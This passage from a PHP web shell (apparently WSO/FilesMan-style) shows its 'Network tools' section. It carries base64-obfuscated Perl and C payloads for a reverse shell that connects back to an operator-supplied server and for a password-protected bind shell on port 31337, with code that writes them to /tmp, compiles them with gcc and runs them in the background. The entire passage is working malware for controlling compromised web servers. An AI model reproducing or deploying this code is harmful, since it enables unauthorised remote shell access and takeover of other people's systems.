1572 | $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; | |
1573 | $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; | |
1574 | $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; | |
1575 | echo "<h1>Network tools</h1><div class=content> | |
1576 | <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'> | |
1577 | <span>Bind port to /bin/sh</span><br/> | |
1578 | Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'> | |
1579 | </form> | |
1580 | <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'> | |
1581 | <span>Back-connect to</span><br/> | |
1582 | Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'> | |
1583 | </form><br>"; | |
1584 | if(isset($_POST['p1'])) { | |
1585 | function cf($f,$t) { | |
1586 | $w=@fopen($f,"w") or @function_exists('file_put_contents'); | |
1587 | if($w) { | |
1588 | @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t)); | |
1589 | @fclose($w); | |
1590 | } | |
1591 | } | |
1592 | if($_POST['p1'] == 'bpc') { | |
1593 | cf("/tmp/bp.c",$bind_port_c); | |
1594 | $dokas = ex("gcc -o /tmp/bp /tmp/bp.c"); | |
1595 | @unlink("/tmp/bp.c"); | |
1596 | $dokas .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &"); | |
1597 | echo "<pre class=ml1>$dokas".ex("ps aux | grep bp")."</pre>"; | |
1598 | } | |
1599 | if($_POST['p1'] == 'bpp') { | |
1600 | cf("/tmp/bp.pl",$bind_port_p); | |
1601 | $dokas = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &"); | |
1602 | echo "<pre class=ml1>$dokas".ex("ps aux | grep bp.pl")."</pre>"; | |
1603 | } | |
1604 | if($_POST['p1'] == 'bcc') { | |
1605 | cf("/tmp/bc.c",$back_connect_c); | |
1606 | $dokas = ex("gcc -o /tmp/bc /tmp/bc.c"); | |
1607 | @unlink("/tmp/bc.c"); | |
1608 | $dokas .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &"); | |
1609 | echo "<pre class=ml1>$dokas".ex("ps aux | grep bc")."</pre>"; | |
1610 | } | |
1611 | if($_POST['p1'] == 'bcp') { | |
1612 | cf("/tmp/bc.pl",$back_connect_p); | |
1613 | $dokas = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &"); | |
1614 | echo "<pre class=ml1>$dokas".ex("ps aux | grep bc.pl")."</pre>"; | |
1615 | } | |
1616 | } | |
1617 | echo '</div>'; | |
1618 | hardFooter(); | |
1619 | } | |
1620 | if( empty($_POST['a']) ) | |
1621 | if(isset($dect) && function_exists('action' . $dect)) | |
1622 | $_POST['a'] = $dect; | |
1623 | else | |
1624 | $_POST['a'] = 'FilesMan'; | |
1625 | if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) | |
1626 | call_user_func('action' . $_POST['a']); | |
1627 |